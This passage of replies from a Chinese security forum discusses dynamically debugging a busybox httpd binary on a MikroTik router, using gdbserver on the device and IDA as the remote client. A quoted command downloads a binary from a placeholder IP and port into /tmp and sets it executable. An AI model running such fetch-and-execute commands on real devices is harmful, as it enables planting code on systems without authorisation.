最后的动态调试IDA是远程连接乌班图调试的么  但是要调试的程序不是在Mikrotik上吗  本人小白一枚 初来乍到有很多地方不懂,希望楼主给予解答,万分感谢
雪    币: 2128
活跃值: (229)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
爱中华UpTTT 2 2019-6-6 18:50
7
0
httpd是在busybox官网下的单组件。是在mikrotik上调试的,上传GDBserver监听调试,然后用ida去连接
雪    币: 2128
活跃值: (229)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
爱中华UpTTT 2 2019-6-6 18:51
8
0
司马晔 楼主您好 请问一下在mikrotik中怎么使用下面指令的 cd /tmp&&wget http://IP:端口/busybox_HTTPD &&chmod 777 ...
httpd是在busybox官网下的单组件。是在mikrotik上调试的,上传GDBserver监听调试,然后用ida去连接
雪    币: 119
活跃值: (76)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
英雄主义山总 2020-6-18 07:41
9
0
请问有联系方式吗?
游客
登录 | 注册 方可回帖
返回